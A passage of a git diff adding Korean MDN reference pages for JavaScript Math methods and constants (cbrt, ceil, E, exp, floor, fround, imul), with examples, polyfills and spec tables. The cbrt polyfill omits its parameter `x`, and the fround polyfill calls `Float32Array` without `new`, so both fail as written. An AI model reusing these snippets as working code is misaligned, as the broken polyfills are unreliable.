+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/cbrt/index.html b/files/ko/web/javascript/reference/global_objects/math/cbrt/index.html
new file mode 100644
index 0000000000..20a5f3ee3a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/cbrt/index.html
@@ -0,0 +1,98 @@
+---
+title: Math.cbrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+tags:
+ - JavaScript
+ - Math
+ - Method
+ - Reference
+ - 세제곱근
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Math.cbrt()</code></strong> 함수는 주어진 수의 세제곱근을 반환합니다.</span> 즉,</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>c</mi><mi>b</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>3</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x</annotation></semantics></math></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Math.cbrt(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수의 세제곱근.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>cbrt()</code>는 <code>Math</code>의 정적 메서드이므로, 사용자가 생성한 <code>Math</code> 객체의 메서드로 호출할 수 없고 항상 <code>Math.cbrt()</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.cbrt()_사용하기"><code>Math.cbrt()</code> 사용하기</h3>
+
+<pre class="brush: js">Math.cbrt(NaN); // NaN
+Math.cbrt(-1); // -1
+Math.cbrt(-0); // -0
+Math.cbrt(-Infinity); // -Infinity
+Math.cbrt(0); // 0
+Math.cbrt(1); // 1
+Math.cbrt(Infinity); // Infinity
+Math.cbrt(null); // 0
+Math.cbrt(2); // 1.2599210498948734
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>모든 <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>0</mn></mrow><annotation encoding="TeX">x \geq 0</annotation></semantics></math>에서 <math><semantics><mrow><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><msup><mi>x</mi><mrow><mn>1</mn><mo>/</mo><mn>3</mn></mrow></msup></mrow><annotation encoding="TeX">\sqrt[3]{x} = x^{1/3}</annotation></semantics></math> 이므로, <code>Math.cbrt()</code>는 다음 함수로 폴리필할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Math.cbrt) {
+ Math.cbrt = (function(pow) {
+ return function cbrt(){
+ // ensure negative numbers remain negative:
+ return x &lt; 0 ? -pow(-x, 1/3) : pow(x, 1/3);
+ };
+ })(Math.pow); // localize Math.pow to increase efficiency
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.cbrt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/ceil/index.html b/files/ko/web/javascript/reference/global_objects/math/ceil/index.html
new file mode 100644
index 0000000000..ee5998fa83
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/ceil/index.html
@@ -0,0 +1,209 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Reference/Global_Objects/Math/ceil
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef}}</div>
+
+<div>Math.ceil() 함수는 주어진 숫자보다 크거나 같은 숫자 중 가장 작은 숫자를 integer 로 반환합니다.</div>
+
+<div> </div>
+
+<h2 id="Syntax_(문법)">Syntax (문법)</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="Parameters_(매개변수)">Parameters (매개변수)</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자</dd>
+</dl>
+
+<h3 id="Return_value_(반환값)">Return value (반환값)</h3>
+
+<p>주어진 숫자보다 크거나 같은 숫자 중 가장 작은 숫자</p>
+
+<h2 id="Description_(설명)">Description (설명)</h2>
+
+<p>ceil() 은 Math 의 정적 메소드이므로, 사용자가 생성하는 Math 객체의 메소드처럼 사용하지 않고, 언제나 Math.ceil() 의 형태로 사용 합니다. (Math 는 생성자가 아님)</p>
+
+<h2 id="Examples_(예제)">Examples (예제)</h2>
+
+<h3 id="Math.ceil()_사용_예">Math.ceil() 사용 예</h3>
+
+<p>다음은 Math.ceil() 의 사용 예입니다.</p>
+
+<pre class="brush: js">Math.ceil(.95); // 1
+Math.ceil(4); // 4
+Math.ceil(7.004); // 8
+Math.ceil(-0.95); // -0
+Math.ceil(-4); // -4
+Math.ceil(-7.004); // -7
+</pre>
+
+<h3 id="소수점_처리">소수점 처리</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+ /**
+ * Decimal adjustment of a number.
+ *
+ * @param {String} type The type of adjustment.
+ * @param {Number} value The number.
+ * @param {Integer} exp The exponent (the 10 logarithm of the adjustment base).
+ * @returns {Number} The adjusted value.
+ */
+ function decimalAdjust(type, value, exp) {
+ // If the exp is undefined or zero...
+ if (typeof exp === 'undefined' || +exp === 0) {
+ return Math[type](value);
+ }
+ value = +value;
+ exp = +exp;
+ // If the value is not a number or the exp is not an integer...
+ if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+ return NaN;
+ }
+ // Shift
+ value = value.toString().split('e');
+ value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+ // Shift back
+ value = value.toString().split('e');
+ return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+ }
+
+ // Decimal round
+ if (!Math.round10) {
+ Math.round10 = function(value, exp) {
+ return decimalAdjust('round', value, exp);
+ };
+ }
+ // Decimal floor
+ if (!Math.floor10) {
+ Math.floor10 = function(value, exp) {
+ return decimalAdjust('floor', value, exp);
+ };
+ }
+ // Decimal ceil
+ if (!Math.ceil10) {
+ Math.ceil10 = function(value, exp) {
+ return decimalAdjust('ceil', value, exp);
+ };
+ }
+})();
+
+// Round
+Math.round10(55.55, -1); // 55.6
+Math.round10(55.549, -1); // 55.5
+Math.round10(55, 1); // 60
+Math.round10(54.9, 1); // 50
+Math.round10(-55.55, -1); // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1); // -50
+Math.round10(-55.1, 1); // -60
+// Floor
+Math.floor10(55.59, -1); // 55.5
+Math.floor10(59, 1); // 50
+Math.floor10(-55.51, -1); // -55.6
+Math.floor10(-51, 1); // -60
+// Ceil
+Math.ceil10(55.51, -1); // 55.6
+Math.ceil10(51, 1); // 60
+Math.ceil10(-55.59, -1); // -55.5
+Math.ceil10(-59, 1); // -50
+</pre>
+
+<h2 id="Specifications_(사용법)">Specifications (사용법)</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_(브라우저_호환성)">Browser compatibility (브라우저 호환성)</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also_(추가_참조)">See also (추가 참조)</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/e/index.html b/files/ko/web/javascript/reference/global_objects/math/e/index.html
new file mode 100644
index 0000000000..d2d4060bed
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/e/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.E
+slug: Web/JavaScript/Reference/Global_Objects/Math/E
+tags:
+ - JavaScript
+ - Math
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.E</code></strong> 속성은 자연로그의 밑 값  e를 나타내며 약 2.718의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>E</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.E</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.E_사용하기"><code>Math.E</code> 사용하기</h3>
+
+<p>다음 함수는 e 값을 반환합니다.</p>
+
+<pre class="brush: js">function getNapier() {
+ return Math.E;
+}
+
+getNapier(); // 2.718281828459045
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.e', 'Math.E')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.E")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/exp/index.html b/files/ko/web/javascript/reference/global_objects/math/exp/index.html
new file mode 100644
index 0000000000..c00f391045
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/exp/index.html
@@ -0,0 +1,90 @@
+---
+title: Math.exp()
+slug: Web/JavaScript/Reference/Global_Objects/Math/exp
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.exp()</code></strong>함수는 <code>x</code>를 인수로 하는 <code>e<sup>x</sup></code> 값을 반환합니다. 그리고 <code>e</code>는 {{jsxref("Math.E", "오일러 상수(또는 네이피어 상수)", "", 1)}}는 자연 로그의 밑입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-exp.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Math.exp(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>e</code>는 {{jsxref("Math.E", "오일러 상수", "", 1)}}이고 <code>x</code>는 인수인 <code>e<sup>x</sup></code>값</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>exp()</code>는 <code>Math</code>의 정적 메소드이기 때문에 새로 작성한 <code>Math</code> 오브젝트 대신에 항상 <code>Math.exp()</code>의 형태로 써야 합니다. (<code>Math</code>는 생성자가 아닙니다.)</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="Math.exp_사용_예"> <code>Math.exp()</code> 사용 예</h3>
+
+<pre class="brush: js">Math.exp(-1); // 0.36787944117144233
+Math.exp(0); // 1
+Math.exp(1); // 2.718281828459045
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">설명</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>최초의 정의. JavaScript 1.0.에서 첫 시행.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.exp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.expm1()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/floor/index.html b/files/ko/web/javascript/reference/global_objects/math/floor/index.html
new file mode 100644
index 0000000000..cd749b07c8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/floor/index.html
@@ -0,0 +1,171 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Reference/Global_Objects/Math/floor
+tags:
+ - JavaScript
+ - Math
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.floor()</code></strong> 함수는 주어진 숫자와 같거나 작은 정수 중에서 가장 큰 수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-floor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Math.floor(<var>x</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수 이하의 가장 큰 정수.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>floor()</code>는 <code>Math</code>의 정적 메서드이므로, 사용자가 생성한 <code>Math</code> 객체의 메서드로 호출할 수 없고 항상 <code>Math.floor()</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>Math.floor(null)</code>은 {{jsxref("NaN")}} 대신 0을 반환합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.floor()_사용하기"><code>Math.floor()</code> 사용하기</h3>
+
+<pre class="brush: js">Math.floor( 45.95); // 45
+Math.floor( 45.05); // 45
+Math.floor( 4 ); // 4
+Math.floor(-45.05); // -46
+Math.floor(-45.95); // -46
+</pre>
+
+<h3 id="십진수_조절">십진수 조절</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+ /**
+ * Decimal adjustment of a number.
+ *
+ * @param {String} type The type of adjustment.
+ * @param {Number} value The number.
+ * @param {Integer} exp The exponent (the 10 logarithm of the adjustment base).
+ * @returns {Number} The adjusted value.
+ */
+ function decimalAdjust(type, value, exp) {
+ // If the exp is undefined or zero...
+ if (typeof exp === 'undefined' || +exp === 0) {
+ return Math[type](value);
+ }
+ value = +value;
+ exp = +exp;
+ // If the value is not a number or the exp is not an integer...
+ if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+ return NaN;
+ }
+ // Shift
+ value = value.toString().split('e');
+ value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+ // Shift back
+ value = value.toString().split('e');
+ return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+ }
+
+ // Decimal round
+ if (!Math.round10) {
+ Math.round10 = function(value, exp) {
+ return decimalAdjust('round', value, exp);
+ };
+ }
+ // Decimal floor
+ if (!Math.floor10) {
+ Math.floor10 = function(value, exp) {
+ return decimalAdjust('floor', value, exp);
+ };
+ }
+ // Decimal ceil
+ if (!Math.ceil10) {
+ Math.ceil10 = function(value, exp) {
+ return decimalAdjust('ceil', value, exp);
+ };
+ }
+})();
+
+// Round
+Math.round10(55.55, -1); // 55.6
+Math.round10(55.549, -1); // 55.5
+Math.round10(55, 1); // 60
+Math.round10(54.9, 1); // 50
+Math.round10(-55.55, -1); // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1); // -50
+Math.round10(-55.1, 1); // -60
+// Floor
+Math.floor10(55.59, -1); // 55.5
+Math.floor10(59, 1); // 50
+Math.floor10(-55.51, -1); // -55.6
+Math.floor10(-51, 1); // -60
+// Ceil
+Math.ceil10(55.51, -1); // 55.6
+Math.ceil10(51, 1); // 60
+Math.ceil10(-55.59, -1); // -55.5
+Math.ceil10(-59, 1); // -50
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.floor")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/fround/index.html b/files/ko/web/javascript/reference/global_objects/math/fround/index.html
new file mode 100644
index 0000000000..6fd328a2db
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/fround/index.html
@@ -0,0 +1,130 @@
+---
+title: Math.fround()
+slug: Web/JavaScript/Reference/Global_Objects/Math/fround
+tags:
+ - JavaScript
+ - Math
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.fround()</code></strong> 함수는 <a class="external" href="https://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single-precision floating-point format">single precision</a> 포맷으로 표현할 수 있는 실수들 중에서 가장 가까운 숫자를 리턴합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.fround(<var>x</var>)</code></pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>fround()</code> 가 <code>Math</code> 객체의 정적 메소드이기 때문에, 반드시 <code>Math.fround()</code> 같은 형태로 사용해야 합니다. <code>Math</code> 객체를 직접 만들어서 호출하는 방식으로 사용하지 않습니다 (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.fround()_사용법"><code>Math.fround() 사용법</code></h3>
+
+<pre class="brush: js">Math.fround(0); // 0
+Math.fround(1); // 1
+Math.fround(1.337); // 1.3370000123977661
+Math.fround(1.5); // 1.5
+Math.fround(NaN); // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>만약 {{jsxref("Float32Array")}} 가 지원된다면, Math.fround() 를 다음 함수로 흉내낼 수 있습니다.</p>
+
+<pre class="brush: js">Math.fround = Math.fround || (function (array) {
+ return function(x) {
+ return array[0] = x, array[0];
+ };
+})(Float32Array(1));
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.fround', 'Math.fround')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("38")}}</td>
+ <td>{{CompatGeckoDesktop("26")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera("25")}}</td>
+ <td>{{CompatSafari("7.1")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.round()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/imul/index.html b/files/ko/web/javascript/reference/global_objects/math/imul/index.html
new file mode 100644
index 0000000000..e5f7a919ab
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/imul/index.html
@@ -0,0 +1,130 @@
+---
+title: Math.imul()
+slug: Web/JavaScript/Reference/Global_Objects/Math/imul
+tags:
+ - JavaScript
+ - Math
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/imul
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.imul()</code></strong> 함수는 C 언어와 같은 양식으로 2개 파라메터의 32-bit 곱셈 결과를 리턴합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.imul(<var>a</var>, <var>b</var>)</code></pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>첫 번째 숫자.</dd>
+ <dt><code>b</code></dt>
+ <dd>두 번째 숫자.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Math.imul()</code> 를 쓰면 C 언어와 같은 양식의 빠른 32-bit 정수 곱셈이 가능합니다. 이 기능은 <a href="http://en.wikipedia.org/wiki/Emscripten">Emscripten</a> 같은 프로젝트에 유용합니다. <code>imul()</code> 이 <code>Math </code> 객체의 정적 메소드이기 때문에, <code>Math 객체를 직접 만들어서 사용하지 않고 (Math 는 생성자가 아닙니다), Math.imul()</code> 같은 형태로 사용합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.imul()_사용법"><code>Math.imul() 사용법</code></h3>
+
+<pre class="brush: js">Math.imul(2, 4); // 8
+Math.imul(-1, 8); // -8
+Math.imul(-2, -2); // 4
+Math.imul(0xffffffff, 5); // -5
+Math.imul(0xfffffffe, 5); // -10
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>다음과 같은 함수로 Math.imul() 을 흉내낼 수 있습니다.</p>
+
+<pre class="brush: js">Math.imul = Math.imul || function(a, b) {
+ var ah = (a &gt;&gt;&gt; 16) &amp; 0xffff;
+ var al = a &amp; 0xffff;
+ var bh = (b &gt;&gt;&gt; 16) &amp; 0xffff;
+ var bl = b &amp; 0xffff;
+ // the shift by 0 fixes the sign on the high part
+ // the final |0 converts the unsigned value into a signed value
+ return ((al * bl) + (((ah * bl + al * bh) &lt;&lt; 16) &gt;&gt;&gt; 0)|0);
+};
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.imul', 'Math.imul')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
